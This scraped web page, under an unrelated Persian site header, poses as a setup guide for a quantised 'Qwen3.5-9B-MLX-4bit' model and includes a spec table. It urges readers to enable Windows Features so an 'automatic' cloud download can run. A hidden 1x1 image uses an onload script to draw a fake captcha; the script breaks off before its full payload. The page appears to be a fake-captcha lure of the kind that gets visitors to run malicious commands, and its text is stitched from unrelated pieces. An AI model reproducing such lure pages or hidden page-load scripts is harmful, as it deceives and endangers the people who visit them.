۞ امام علی (ع) می فرماید:
جمعه, ۲ مرداد , ۱۴۰۵
For the fastest local setup of this model, enabling Windows Features is best. Follow the straightforward walkthrough provided below. Everything happens automatically, including the heavy cloud asset download. The initial setup handles the heavy lifting, fine-tuning the environment for your device. 📡 Hash Check: 51fbbb47e0474d16be379fb41e4e4fce | 📅 Last Update: 2026-06-27 <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var […]
For the fastest local setup of this model, enabling Windows Features is best.
Follow the straightforward walkthrough provided below.
Everything happens automatically, including the heavy cloud asset download.
The initial setup handles the heavy lifting, fine-tuning the environment for your device.
The Qwen3.5-9B-MLX-4bit model delivers strong performance while maintaining a compact footprint thanks to its 9B parameters and 4-bit quantization. Its integration with the MLX framework enables optimized memory usage and accelerated inference on consumer‑grade hardware. The model supports an 8K token context window, allowing it to handle longer dialogues and complex reasoning tasks. Benchmarks show it achieves competitive perplexity scores compared to larger models, making it ideal for deployment in resource‑constrained environments. Additionally, the MLX optimizations reduce latency, providing smooth real‑time responses even on laptops and edge devices.
| Parameter | Value |
|---|---|
| Model Name | Qwen3.5-9B-MLX-4bit |
| Parameters | ۹B |
| Quantization | ۴‑bit |
| Framework | MLX |
| Context Length | ۸K tokens |
| Inference Speed | >100 tokens/s (GPU) |
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